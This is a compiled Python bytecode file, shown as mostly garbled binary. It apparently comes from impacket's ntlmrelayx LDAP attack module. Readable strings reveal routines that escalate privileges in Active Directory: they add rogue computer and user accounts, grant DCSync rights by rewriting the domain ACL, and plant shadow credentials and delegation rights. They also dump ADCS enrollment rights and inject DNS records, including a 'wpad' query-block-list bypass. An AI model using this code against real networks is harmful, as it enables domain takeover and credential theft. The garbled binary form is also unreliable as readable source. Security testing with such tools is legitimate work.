o
    àý°jŸé  ã                   @   sÌ  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZ	d dl
Z
d dlZd dlmZ d dlmZ d dlmZ d dlmZ d dlZd dlmZ d dlmZmZ d dlmZ d d	lmZ d d
lmZ d dl m!Z! d dl"m#Z# d dl$m%Z% d dl&m'Z'm(Z(m)Z)m*Z*m+Z+ d dl,m-Z-m.Z. d dl/m0Z0m1Z1 d dl2m3Z3 zd dlmZ W n e4y³   e5dƒ Y nw dZ6da7da8da9da:g a;G dd„ de0ƒZ<G dd„ de!ƒZ=dd„ Z>dd„ Z?dd„ Z@dd„ ZAd d!„ ZBdS )"é    N)ÚRESULT_UNWILLING_TO_PERFORM)Úsecurity_descriptor_control)Ú
format_sid©Úescape_filter_chars)ÚMD4)ÚIPv4AddressÚAddressValueError)Úpartial)ÚLOG)Ú	LdapShell)ÚProtocolAttack)ÚTcpShell)Ú	ldaptypes)ÚACCESS_ALLOWED_OBJECT_ACEÚACCESS_MASKÚACCESS_ALLOWED_ACEÚACEÚOBJECTTYPE_GUID_MAP)Ústring_to_binÚbin_to_string)Ú	StructureÚhexdump)Úshadow_credentialszŽFailed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. Please update with 'python -m pip install ldap3 --upgrade'Ú
LDAPAttackFc                   @   s"   e Zd ZdZddd„Zdd„ ZdS )ÚMSDS_MANAGEDPASSWORD_BLOB))ÚVersionú<H)ÚReservedr   )ÚLengthz<L)ÚCurrentPasswordOffsetr   )ÚPreviousPasswordOffsetr   )ÚQueryPasswordIntervalOffsetr   )ÚUnchangedPasswordIntervalOffsetr   )ÚCurrentPasswordú:)ÚPreviousPasswordr%   )ÚQueryPasswordIntervalr%   )ÚUnchangedPasswordIntervalr%   Nc                 C   s   t j| |d� d S )N©Údata)r   Ú__init__)Úselfr*   © r-   ú¢/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.pyr+   S   s   z"MSDS_MANAGEDPASSWORD_BLOB.__init__c                 C   sÊ   t  | |¡ | d dkr| d }n| d }| j| d d … d || d  … | d< | d dkrC| j| d d … d | d | d  … | d< | j| d d … d | d | d  … | d< | j| d d … | d	< d S )
Nr!   r   r"   r    r$   r&   r#   r'   r(   )r   Ú
fromStringÚrawData)r,   r*   ÚendDatar-   r-   r.   r/   V   s   
&**z$MSDS_MANAGEDPASSWORD_BLOB.fromString©N)Ú__name__Ú
__module__Ú__qualname__Ú	structurer+   r/   r-   r-   r-   r.   r   C   s    
r   c                   @   s¦   e Zd ZdZddgZdZdZdZdZd'd	d
„Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zedd „ ƒZd!d"„ Zd#d$„ Zd%d&„ ZdS )(r   a  
    This is the default LDAP attack. It checks the privileges of the relayed account
    and performs a domaindump if the user does not have administrative privileges.
    If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
    ÚLDAPÚLDAPSi”  i(  i  éÿ Nc                 C   sf   |j sdn|j d | _|j rt|j ƒdk rdn|j d | _t | |||||¡ | jjr1tƒ | _	d S d S )NÚ r   é   é   )
ÚaddcomputerÚcomputerNameÚlenÚcomputerPasswordr   r+   ÚconfigÚinteractiver   Ú	tcp_shell)r,   rA   Ú
LDAPClientÚusernameÚtargetÚrelay_clientr-   r-   r.   r+   w   s   $þzLDAPAttack.__init__c                 C   sØ  t r	t d¡ dS | jjs#| jjjs#t d¡ | j ¡ s#t d¡ dS |j	}t
jdd|| d¡d… t
jd	�d
d… }| j}|sQd dd„ tdƒD ƒ¡d  ¡ }n| d¡rX|n|d }| j}|snd dd„ tdƒD ƒ¡}n|}|dd… }	d|	|f  d¡}
d|	 d|	|f d|	 d|	|f g}d|	|f d||d |¡ d¡dœ}t d|¡ t d|¡ | j |
 d¡g d ¢|¡}|sß| jjd! tkrÒ| jjjsÒt d"¡ dS t d#t| jjƒ ¡ dS t d$||f ¡ d%a |S )&z«
        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        z3New computer already added. Refusing to add anotherFzwAdding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLSúStartTLS failedú,DC=Ú.úDC=N©Úflagsé   r:   c                 s   ó   � | ]	}t  tj¡V  qd S r2   ©ÚrandomÚchoiceÚstringÚascii_letters©Ú.0Ú_r-   r-   r.   Ú	<genexpr>–   ó   € z)LDAPAttack.addComputer.<locals>.<genexpr>é   ú$c                 s   ó&   � | ]}t  tjtj d  ¡V  qdS ©z.,;:!$-_+/*(){}#@<>^N©rQ   rR   rS   rT   ÚdigitsrU   r-   r-   r.   rX   �   ó   €$ é   éÿÿÿÿúCN=%s,%súutf-8zHOST/%sz
HOST/%s.%szRestrictedKrbHost/%szRestrictedKrbHost/%s.%sz%s.%si   ú"{}"ú	utf-16-le)ÚdnsHostNameÚuserAccountControlÚservicePrincipalNameÚsAMAccountNameÚ
unicodePwdzNew computer info %sz$Attempting to create computer in: %s)ÚtopÚpersonÚorganizationalPersonÚuserÚcomputerÚresultz�Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.z Failed to add a new computer: %szAAdding new computer with username: %s and password: %s result: OKT)ÚalreadyAddedComputerr   ÚerrorÚclientÚtls_startedÚserverÚsslÚinfoÚ	start_tlsÚrootÚreÚsubÚfindÚIr>   ÚjoinÚrangeÚupperÚendswithr@   ÚencodeÚformatÚdebugÚaddÚdecoderq   r   Ústr)r,   ÚparentÚdomainDumperÚdomaindnÚdomainr>   ÚnewComputerr@   ÚnewPasswordÚcomputerHostnameÚnewComputerDnÚspnsÚucdÚresr-   r-   r.   ÚaddComputer   sV   



*"

ü
û
ÿzLDAPAttack.addComputerc                 C   s,  t r	t d¡ dS | jjs#| jjjs#t d¡ | j ¡ s#t d¡ dS d 	dd„ t
d	ƒD ƒ¡}d 	d
d„ t
dƒD ƒ¡}d||f }d|j ||||||dd|d |¡ d¡dœ}t d|¡ | j |g d¢|¡}|s‹| jjd tkr~| jjjs~t d¡ dS t dt| jjƒ ¡ dS t d||f ¡ |S )z£
        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        z/New user already added. Refusing to add anotherNztAdding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLSrH   Fr:   c                 s   r\   r]   r^   rU   r-   r-   r.   rX   Ó   r`   z%LDAPAttack.addUser.<locals>.<genexpr>ra   c                 s   rO   r2   rP   rU   r-   r-   r.   rX   Ö   rY   é
   rc   z'CN=Person,CN=Schema,CN=Configuration,%sé   Ú0re   rf   )ÚobjectCategoryÚdistinguishedNameÚcnÚsnÚ	givenNameÚdisplayNameÚnamerh   ÚaccountExpiresrj   rk   z Attempting to create user in: %s)rl   rm   rn   ro   rq   zˆFailed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.zFailed to add a new user: %sz=Adding new user with username: %s and password: %s result: OK)ÚalreadyEscalatedr   rs   rt   ru   rv   rw   rx   ry   r   r€   rz   r„   rƒ   r†   rq   r   rˆ   )r,   r‰   rŠ   rŽ   ÚnewUserÚ	newUserDnr’   r“   r-   r-   r.   ÚaddUserÂ   sB   



õ
ÿzLDAPAttack.addUserc                 C   s–   |  d¡d dd … }|  d¡d dd … }| j |dtj|gfgi¡}|r<t d||f ¡ t d¡ dat 	¡  d S t 
d|t| jjƒf ¡ d S )	Nú,r   rN   Úmemberz&Adding user: %s to group %s result: OKz0Privilege escalation succesful, shutting down...Tz"Failed to add user to %s group: %s)Úsplitrt   ÚmodifyÚldap3Ú
MODIFY_ADDr   rx   r    Ú_threadÚinterrupt_mainrs   rˆ   rq   )r,   ÚuserDnrŠ   ÚgroupDnÚ	groupNameÚuserNamer“   r-   r-   r.   ÚaddUserToGroupô   s   ÿ
zLDAPAttack.addUserToGroupc                 C   sœ  | j j}|s	| j}|tv rt d| ¡ d S t d¡ |j}tjdd|| 	d¡d … tj
d�dd … }|  ||¡}|sBt d¡ d S |d	 }t d
| ¡ t d¡ tj|d�\}}t d¡ t d¡ tj|t ¡ t ¡ d�}	| jj|dtjg d¢d� d }
| jjD ]}|d dkrŒqƒ|}
qƒ|
s˜t d¡ d S �z$|
d d t |	 ¡ |¡g }t d| ¡ | j |dtj|gi¡ | jjd d	k�r‚t d¡ | j jd u räd dd„ tdƒD ƒ¡}t d| ¡ n| j j}| j j d k�r"tj!|||d!� t d"| d# ¡ t d$| d% ¡ t d&¡ t d'¡ t d(|||||f ¡ W d S | j j d)k�r| j j"d u �rDd d*d„ td+ƒD ƒ¡}t d,| ¡ n| j j"}tj#||||d-� t d.| d/ ¡ t d0| ¡ t d&¡ t d'¡ t d1|||||f ¡ t $|¡ W d S W d S | jjd d2k�r™t d3| jjd4  ¡ W d S | jjd d5k�r°t d6| jjd4  ¡ W d S t d7| jjd4  ¡ W d S  t%�yÍ   t d8¡ Y d S w )9Nz<Shadow credentials attack already performed for %s, skippingz Searching for the target accountrI   rJ   rK   rL   rN   z.Target account does not exist! (wrong domain?)r   zTarget user found: %szGenerating certificate)ÚsubjectzCertificate generatedzGenerating KeyCredential)ÚdeviceIdÚcurrentTimeú(objectClass=*))ÚSAMAccountNameÚ	objectSidúmsDS-KeyCredentialLink©Úsearch_scopeÚ
attributesÚtypeÚsearchResEntryú&Could not query target user propertiesÚraw_attributesr·   z3Updating the msDS-KeyCredentialLink attribute of %srq   zAUpdated the msDS-KeyCredentialLink attribute of the target objectr:   c                 s   ó"   � | ]}t  tjtj ¡V  qd S r2   r^   ©rV   Úir-   r-   r.   rX   5  ó   €  z5LDAPAttack.shadowCredentialsAttack.<locals>.<genexpr>rZ   zTNo outfile path was provided. The certificate(s) will be store with the filename: %sÚPEM)Úpath_to_filesz!Saved PEM certificate at path: %sz	_cert.pemz!Saved PEM private key at path: %sz	_priv.pemzFA TGT can now be obtained with https://github.com/dirkjanm/PKINITtoolsz)Run the following command to obtain a TGTz^python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccacheÚPFXc                 s   r¿   r2   r^   rÀ   r-   r-   r.   rX   B  rÂ   é   zINo pass was provided. The certificate will be store with the password: %s)ÚpasswordÚpath_to_filez1Saved PFX (#PKCS12) certificate & key at path: %sz.pfxzMust be used with password: %szQpython3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccacheé2   úCCould not modify object, the server reports insufficient rights: %sÚmessageé   úGCould not modify object, the server reports a constrained violation: %sú The server returned an error: %sz/Attribute msDS-KeyCredentialLink does not exist)&rA   ÚShadowCredentialsTargetrE   ÚdelegatePerformedr   rx   rz   r{   r|   r}   r~   ÚgetUserInfors   r   ÚcreateSelfSignedX509CertificateÚKeyCredentialÚgetDeviceIdÚgetTicksNowrt   Úsearchr¨   ÚBASEÚresponseÚtoDNWithBinary2StringÚ
dumpBinaryr§   ÚMODIFY_REPLACErq   ÚShadowCredentialsOutfilePathr   r€   r…   ÚShadowCredentialsExportTypeÚ	exportPEMÚShadowCredentialsPFXPasswordÚ	exportPFXÚappendÚ
IndexError)r,   rŠ   ÚcurrentShadowCredentialsTargetr‹   rŒ   rq   Ú	target_dnÚkeyÚcertificateÚkeyCredentialÚresultsÚentryÚ
new_valuesÚpathrÇ   r-   r-   r.   ÚshadowCredentialsAttack  s”   
*







ê


êøúýþþz"LDAPAttack.shadowCredentialsAttackc                 C   s  |t v rt d¡ d S |s|  d|j |¡}|| j_|s2|  ||¡}|s+t d¡ d S t	|d ƒ}n|}|  ||¡}|sCt d¡ d S |d }| j
j|dtjg d¢d	� d }| j
jD ]}	|	d
 dkrcqZ|	}qZ|sot d¡ d S z(tj|d d d d�}
t d¡ |
d jD ]}t d|d d  ¡  ¡ q†W n ty£   tƒ }
Y nw |
d j t|ƒ¡ | j
 |d dtj|
 ¡ ggi¡ | j
jd dkrÚt d¡ t d||¡ t  |¡ d S | j
jd dkrît d| j
jd ¡ d S | j
jd dk�rt d| j
jd ¡ d S t d| j
jd ¡ d S )Nz=Delegate attack already performed for this computer, skippingzCN=Computers,%sz User to escalate does not exist!r<   z2Computer to modify does not exist! (wrong domain?)r   r´   )rµ   r¶   ú(msDS-AllowedToActOnBehalfOfOtherIdentityr¸   r»   r¼   r½   r¾   rí   r)   zCurrently allowed sids:ÚDaclz    %sÚAceÚSidÚdnrq   z'Delegation rights modified succesfully!z0%s can now impersonate users on %s via S4U2ProxyrÉ   rÊ   rË   rÌ   rÍ   rÎ   )rÐ   r   rx   r”   rz   rA   ÚescalateuserrÑ   rs   rˆ   rt   rÖ   r¨   r×   rØ   r   ÚSR_SECURITY_DESCRIPTORr…   ÚacesÚformatCanonicalrâ   Úcreate_empty_sdrá   Úcreate_allow_acer§   rÛ   ÚgetDatarq   )r,   ÚusersamÚ	targetsamrŠ   Úsidrq   Úescalate_sidrä   Ú
targetuserré   ÚsdÚacer-   r-   r.   ÚdelegateAttackX  sf   




ÿ
þ"

úüÿzLDAPAttack.delegateAttackc                 C   sþ  t r	t d¡ d S i }z| jj|dddgd� | jjd }W n ty/   t d| ¡ Y d S w |d j}|d j}t d||f ¡ t	d	d
�}da t 
d¡ | jj|jdddg|d� | jjd }|d jd }tj|d�}	t |¡ d¡|d< ||d< |	d d  td|ƒ¡ |	d d  td|ƒ¡ |j}
|	 ¡ }| jj|
dtj|gfi|d� | jjd dkrôda t 
d|¡ t 
d¡ | jj|jdddg|d� | jjd }|d jd }|
|d< t |¡ d¡|d< d|d< |  ||
¡ dS t d | jj ¡ d!S )"Nz2ACL attack already performed. Refusing to continuez(objectClass=user)rj   r¶   ©rº   r   z%Could not retrieve infos for user: %szFound sid for user %s: %sé   ©ÚsdflagsTz#Querying domain security descriptorz(&(objectCategory=domain))rµ   ÚnTSecurityDescriptor©rº   Úcontrolsr)   rd   Úold_sdÚ
target_sidrî   ÚDataz$1131f6aa-9c07-11d1-f79f-00c04fc2dcd2z$1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)r  rq   zMSuccess! User %s now has Replication-Get-Changes-All privileges on the domainz5Try using DCSync with secretsdump.py and this user :)rä   Únew_sdÚsuccesszError when updating ACL: %sF)r    r   rs   rt   rÖ   Úentriesrâ   Úvaluer…   r   rx   rz   Ú
raw_valuesr   ró   ÚbinasciiÚhexlifyr‡   rá   Úcreate_object_aceÚentry_dnrø   r§   r¨   rÛ   rq   ÚwriteRestoreData)r,   r¬   rŠ   Úrestoredataré   rE   Úusersidr  ÚsecDescDataÚsecDescrñ   r*   ÚnewSDr-   r-   r.   Ú	aclAttack“  sT   
þ




zLDAPAttack.aclAttackc                 C   s¸   i }t jdd|| d¡d … t jd�dd … }| jjj|dœ|d< d|| jd	œg|d
< tj 	¡ }d| 
d¡ }t |dd¡�}t ||¡ W d   ƒ n1 sOw   Y  t d|¡ d S )NrI   rJ   rK   rL   rN   )rv   rŒ   rA   Úadd_domain_sync)Ú	operationr*   ÚcontextuserÚhistoryzaclpwn-%s.restorez%Y%m%d-%H%M%SÚwrd   zSaved restore state to %s)r{   r|   r}   r~   rt   rv   ÚhostrE   ÚdatetimeÚnowÚstrftimeÚcodecsÚopenÚjsonÚdumpr   rx   )r,   r  r‹   ÚoutputrŒ   r"  ÚfilenameÚoutfiler-   r-   r.   r  Í  s   *
ÿzLDAPAttack.writeRestoreDatac                 C   sH  g }i }dd dd dd dœ}| j j|jdt|ƒ ddgd� | j jd }|d j}|j||< | |¡ | j j|jdt|jƒ d	dgd� t 	d
| j j ¡ | j jD ]}|j||d j< | |d j¡ qP| j j|jddgd� | j jd d j}	|d j}
| j j|jd|	|
f g d¢d� | j jd }t 	d
| j j ¡ |j||d j< | |d j¡ t
dd�}| j jjj|jdddg|dd�}|  |||||¡ | j jjj|jdddg|dd�}|  |||||¡ d|	df d|	df dddg}d|d< |D ](}| j j|jd| ddg|d� | j j}|  |||||¡ |d �r ||fS q÷||fS )NF)ÚcreateÚcreateInÚescalateViaGroupÚescalateGroupÚaclEscalateÚaclEscalateInú(sAMAccountName=%s)r¶   ÚprimaryGroupIdr  r   z$(member:1.2.840.113556.1.4.1941:=%s)rž   zUser is a member of: %sz(objectClass=domain)z(objectSid=%s-%d))rž   r¶   r™   é   r  z7(|(objectClass=domain)(objectClass=organizationalUnit))r  ÚobjectClassT)rº   r  Ú	generatorz$(&(cn=Users)(objectClass=container))z%s-%di  r–   úS-1-5-32-544zS-1-5-32-551zS-1-5-32-548r-  z(objectSid=%s)r  )rt   rÖ   rz   r   r  r  r  rá   r   r…   r   ÚextendÚstandardÚpaged_searchÚcheckSecurityDescriptorsrØ   )r,   ÚunamerŠ   Ú
membersidsÚ
sidmappingÚprivsro   r  ré   Ú	domainsidÚgidÚgroupr  r  ÚinterestingGroupsÚ	groupdatar-   r-   r.   ÚvalidatePrivilegesÙ  s`   ú 


"
 
  

û
ýzLDAPAttack.validatePrivilegesc                 C   sj   | j j|jdt|ƒ dgd�}z| j jd j}| j jd d }||fW S  ty4   t d| ¡ Y dS w )Nr1  r¶   r  r   zUser not found in LDAP: %sF)	rt   rÖ   rz   r   r  r  râ   r   rs   )r,   rŠ   Úsamnamer  rñ   rû   r-   r-   r.   rÑ     s   
þzLDAPAttack.getUserInfoc              	   C   sv  | j | j| jtjg}|D �]«}|d dkrq|d }z
|d d d }	W n ty3   t d|¡ Y qw d}
t 	¡ }| 
|	¡ |d	 d
kr`|d	  ¡ |v r`|d	  ¡ }t d||| f ¡ d}
|d jD �]Q}|d d  ¡ }|d tjkr|d tjkrqe| tj¡sŒ| tj¡rŒqe|d tjkr¸| tj¡r¸|d  tj¡r¸t|d d ƒ ¡ }|  ||d d d ¡s¸qe|d d d |v sÌ|d d  tj¡rò|d tjkrò|d  tj¡ròt|d d ƒ ¡ }|  ||d d d ¡sòqe||v �r·|d d  | j ¡�rt d||| f ¡ d}
t|ƒ�s|
�rQ|
�s%t d||| f ¡ |d|j k�r6d|d< ||d< n|d d|j k�rQd|d d v �rQd|d< ||d< t|ƒ�sY|
�rxd|d d v �rx|
�spt d||| f ¡ d|d< ||d< |d d  tj¡�s†|
�r·|d tjk�r˜|d  tj¡�r˜qe|
�s¦t d ||| f ¡ d!|d d v �r·d|d"< ||d#< qeqd S )$Nr»   r¼   rñ   r¾   r  r   z2Access to security descriptor was denied for DN %sFÚOwnerSidr:   z:Permission found: Full Control on %s; Reason: Owner via %sTrî   rï   rð   ÚAceTypeÚInheritedObjectTyper4  rb   ÚMaskÚ
ObjectTypez@Permission found: Full Control on %s; Reason: GENERIC_ALL via %sz;Permission found: Create users in %s; Reason: Granted to %szCN=Users,%sr+  r,  s   organizationalUnits   groupz9Permission found: Add member to %s; Reason: Granted to %sr-  r.  z9Permission found: Write Dacl of %s; Reason: Granted to %ss   domainr/  r0  )ÚGENERIC_ALLÚGENERIC_WRITEÚGENERIC_READr   Ú
WRITE_DACLrâ   r   r…   r   ró   r/   rõ   rô   r   ÚACE_TYPEr   ÚhasFlagr   ÚINHERITED_ACEÚINHERIT_ONLY_ACEÚ!ACE_INHERITED_OBJECT_TYPE_PRESENTr   ÚlowerÚ
aceAppliesÚhasPrivÚACE_OBJECT_TYPE_PRESENTÚcan_create_usersrz   Úcan_add_member)r,   r  r>  r<  r=  rŠ   Ústandardrightsré   rñ   ÚsdDataÚhasFullControlr  rû   rÿ   ÚinheritedObjectTypeÚ
objectTyper-   r-   r.   r:     s’   ü
ý

ÿþ(

&ÿ€Ãîz#LDAPAttack.checkSecurityDescriptorsc                 C   s2   zt | }W n
 ty   Y dS w | |krdS dS )a  
        Checks if an ACE applies to this object (based on object classes).
        Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
        If this is not set, the ACE applies to all object types.
        FT)r   ÚKeyError)Úace_guidÚobject_classÚour_ace_guidr-   r-   r.   rU  x  s   ÿzLDAPAttack.aceAppliesc           
         s  dd„ ‰dd„ }‡ ‡fdd„}t  d¡ ˆjjjjd d	 ‰ g d
¢}ˆjjdˆ  dtj|tdd�d� t	ˆjj
ƒs@t  d¡ d S tƒ }tƒ ‰ˆjj
D ]V}t  d|d d |d d d dd„ |d d D ƒ¡f ¡ | |d d ¡ ||ƒ}tˆ ¡ ƒ}| |¡}ˆ ||ƒ¡ t  d|d d d ‡fdd„|D ƒ¡f ¡ qJt	|ƒs¬t  d¡ d S t  d¡ g d¢}	ˆjjdˆ  dd  d!d„ |D ƒ¡ tj|	tdd�d� ‡fd"d„ˆjj
D ƒD ]/}||ƒ}tˆ ¡ ƒ}| |¡}ˆ ||ƒ¡ t  d#|d d$ d ‡fd%d„|D ƒ¡f ¡ qÛd S )&Nc                    sj   g d¢‰ | d d d@ rdS t | d d ƒsdS zt‡ fd	d
„| d d D ƒƒ W dS  ty4   Y dS w )N)s   1.3.6.1.5.5.7.3.2s   1.3.6.1.5.2.3.4s   1.3.6.1.4.1.311.20.2.2s   2.5.29.37.0rº   úmsPKI-Enrollment-Flagr;   Fr¾   ÚpKIExtendedKeyUsageTc                 3   s   � | ]	}|ˆ v r|V  qd S r2   r-   )rV   Úeku©Úauthentication_ekusr-   r.   rX   –  rY   zPLDAPAttack.dumpADCS.<locals>.is_template_for_authentification.<locals>.<genexpr>)r?   ÚnextÚStopIteration)ré   r-   rf  r.   Ú is_template_for_authentificationŠ  s   ÿz=LDAPAttack.dumpADCS.<locals>.is_template_for_authentificationc                 S   sÂ   t  ¡ }| | d d d ¡ g d¢}tƒ }dd„ |d d D ƒD ]=}t|d	 d
  ¡ ƒ}|d	 d dkr@t|d	 d ƒ ¡ }n|d	 d dkrSt|d	 d ƒ ¡ }nq!||vrYq!| |¡ q!|S )Nr¾   r  r   )z$00000000-0000-0000-0000-000000000000z$0e10c968-78fb-11d2-90d4-00c04f79dc55z$a05b8cc2-17bc-4802-a710-e7c15ab866a2c                 s   s$   � | ]}|d  t jjkr|V  qdS )rG  N)r   r   rO  )rV   Úar-   r-   r.   rX   ¨  s   €" zILDAPAttack.dumpADCS.<locals>.get_enrollment_principals.<locals>.<genexpr>rî   r
  rï   rð   ÚFlagsr;   rH  r<   rJ  )	r   ró   r/   Úsetr   rø   r   rT  r†   )ré   rþ   Úenrollment_uuidsÚenrollment_principalsrÿ   rû   Úuuidr-   r-   r.   Úget_enrollment_principals›  s   z6LDAPAttack.dumpADCS.<locals>.get_enrollment_principalsc              	      s   ˆj jjjd d }zˆj jjjd d  d¡d }W n ttfy(   d}Y nw tƒ }| D ]O}z(| d¡rFˆj j	|d| d	d
gt
jd� nˆj j	dˆ  d| d	d
gt
jd� W n	   |||< Y q.tˆj jƒsm|||< q.|d ˆj jd d d	  ||< q.|S )NÚdefaultNamingContextr   ÚldapServiceNameú@r<   r:   z	S-1-5-21-z9(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))rž   r¶   )rº   r¹   z!CN=WellKnown Security Principals,z7(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))ú\rº   )rt   rv   rx   Úotherr¦   r_  râ   ÚdictÚ
startswithrÖ   r¨   ÚSUBTREEÚLEVELr?   r  rØ   )ÚsidsÚdefault_naming_contextÚdomain_fqdnÚsid_maprû   )Úconfiguration_naming_contextr,   r-   r.   Útranslate_sids¸  s2   "ÿ

ÿþ€
"z+LDAPAttack.dumpADCS.<locals>.translate_sidsz0Attempting to dump ADCS enrollment services infoÚconfigurationNamingContextr   )ÚcertificateTemplatesr�   ÚdNSHostNamezmsPKI-Enrollment-Serversr  z:CN=Enrollment Services,CN=Public Key Services,CN=Services,z"(objectClass=pKIEnrollmentService)r  r  )r¹   rº   r  z No ADCS enrollment service foundzGFound ADCS enrollment service `%s` on host `%s`, offering templates: %srº   r�   rƒ  z, c                 s   s   � | ]	}d | d  V  qdS ©ú`Nr-   ©rV   Útplr-   r-   r.   rX   ç  rY   z&LDAPAttack.dumpADCS.<locals>.<genexpr>r‚  z8Principals who can enroll on enrollment service `%s`: %sc                 3   ó    � | ]}d ˆ |  d  V  qdS r„  r-   ©rV   Ú	principal©r~  r-   r.   rX   ñ  ó   € z/No templates offered by the enrollment servicesz”Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval)rc  rž   r  rd  z<CN=Certificate Templates,CN=Public Key Services,CN=Services,z,(&(objectClass=pKICertificateTemplate)(|%s))r:   c                 s   s    � | ]}d t |ƒ d V  qdS )z(name=ú)Nr   r†  r-   r-   r.   rX   û  rŒ  c                 3   s   � | ]	}ˆ |ƒr|V  qd S r2   r-   )rV   Úe)rj  r-   r.   rX   ÿ  rY   z1Principals who can enroll using template `%s`: %srž   c                 3   rˆ  r„  r-   r‰  r‹  r-   r.   rX     rŒ  )r   rx   rt   rv   rv  rÖ   r¨   rz  r   r?   rØ   rm  rw  r   ÚupdateÚkeysÚ
difference)
r,   rq  r€  Úenrollment_service_attributesÚoffered_templatesré   ro  Ú
known_sidsÚunknwown_sidsÚcertificate_template_attributesr-   )r  rj  r,   r~  r.   ÚdumpADCSˆ  s\   
þ
$ÿ

ÿ

ý

ÿùzLDAPAttack.dumpADCSc                    s|  dd„ ‰‡ ‡‡fdd„}dd„ ‰dd„ }zt d	d
„ | jjjjD ƒƒ}W n ty2   t d¡ Y d S w | jjjjd d }t	j
dd|| d¡d … t	jd�dd … }d||f }t|| jjjd d d |ƒ‰ t d| ¡ | jj|dt|ƒ tjd�r…t d| ¡ d S t d| ¡ d}	|}
|
 ¡ dk}|r©t d¡ d dd
„ tdƒD ƒ¡}
d |
|f }||d!ƒd"| jjjjd# d  d$|
|	d%œ}t d&|
||f ¡ | j |d'd(g|¡såt d)t| jjƒ ¡ d S t d*|
 ¡ |sðd S d}d ||f }|
d | }||d+ƒd"| jjjjd# d  d$||	d%œ}t d,|||f ¡ | j |d'd(g|¡�s5t d-t| jjƒ ¡ d S t d.| ¡ d S )/Nc                 S   s¸   dd„ t | ƒD ƒ}tƒ }t|ƒdkrKd}|D ]}|| }| |¡ | | ||| …  d¡¡ |d }q| t| ƒ| ¡ | | |d …  d¡¡ |S | t| ƒ¡ | |  d¡¡ |S )Nc                 S   s   g | ]
\}}|d kr|‘qS )rJ   r-   )rV   ÚposÚcharr-   r-   r.   Ú
<listcomp>  s    zFLDAPAttack.addDnsRecord.<locals>.new_dns_namearray.<locals>.<listcomp>r   Úutf8r<   )Ú	enumerateÚ	bytearrayr?   rá   r7  rƒ   )r*   Úindex_arrayÚ
name_arrayÚ
name_startÚindexÚname_endr-   r-   r.   Únew_dns_namearray  s   

þz2LDAPAttack.addDnsRecord.<locals>.new_dns_namearrayc                    s  |dkr|   d¡}tdƒ}ˆt|ƒƒdd… }ttt|ƒƒ}n9|dkrVtdƒ}ˆt| ƒd ƒdd… }tƒ }| t| ƒd ¡ | t|   d¡ƒ¡ | ˆ| ƒ¡ | d¡ nd	S ttˆd
ƒƒƒ}t|ƒ}| |¡ | tdƒ¡ | ˆˆ ƒ ƒ¡ | |¡ | d¡ | |¡ |S )NÚArJ   )r<   r   r   r;   ÚNS)r;   r   r  Fé<   )r3  éð   r   r   )r   r   r   r   r   r   r   r   )r¦   r�  r?   ÚmapÚintrá   r7  Úreversed)r*   r»   Ú	addr_dataÚdns_typeÚ
dns_lengthÚdns_dataÚdns_ttlÚ
dns_record©Úget_next_serial_pÚint_to_4_bytesr£  r-   r.   Únew_dns_record  s.   




z/LDAPAttack.addDnsRecord.<locals>.new_dns_recordc                 S   s.   t ƒ }tdƒD ]}| | d@ ¡ | dL } q|S )Nr  éÿ   rZ   )r�  r€   rá   )ÚnumÚarrrÁ   r-   r-   r.   r³  8  s
   
z/LDAPAttack.addDnsRecord.<locals>.int_to_4_bytesc                 S   s<   t j ¡ }| g|_|j|ddd�}|D ]}|jd   S d S )NÚSOAT)Útcpr<   )ÚdnsÚresolverÚResolverÚnameserversÚresolveÚserial)rv   ÚzoneÚdnsresolverr“   Úanswerr-   r-   r.   Úget_next_serial@  s   
ÿz0LDAPAttack.addDnsRecord.<locals>.get_next_serialc                 s   s    � | ]}d |  ¡ v r|V  qdS )ÚdomaindnszonesN)rT  )rV   Úncr-   r-   r.   rX   H  rŒ  z*LDAPAttack.addDnsRecord.<locals>.<genexpr>z+Could not find DNS naming context, abortingrr  r   rI   rJ   rK   rL   rN   zDC=%s,CN=MicrosoftDNS,%sr  z0Checking if domain already has a `%s` DNS recordz	(name=%s))r¹   z.Domain already has a `%s` DNS record, abortingz#Domain does not have a `%s` record!sD    œ                0       ÿ           
             Úwpadz‡To add the `wpad` name, we need to bypass the GQBL: we'll first add a random `A` name and then add `wpad` as `NS` pointing to that namer:   c                 s   rO   r2   )rQ   rR   rS   Úascii_lowercaserU   r-   r-   r.   rX   a  rY   é   zDC=%s,%sr¤  zCN=Dns-Node,%sÚschemaNamingContextF)Ú	dnsRecordr˜   ÚdNSTombstonedrž   r  z/Adding `A` record `%s` pointing to `%s` at `%s`rl   ÚdnsNodezFailed to add `A` record: %sznAdded `A` record `%s`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)r¥  z0Adding `NS` record `%s` pointing to `%s` at `%s`z$Failed to add `NS` record `wpad`: %szoAdded `NS` record `%s`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte))rh  rt   rv   rx   Únaming_contextsri  r   rs   rv  r{   r|   r}   r~   r
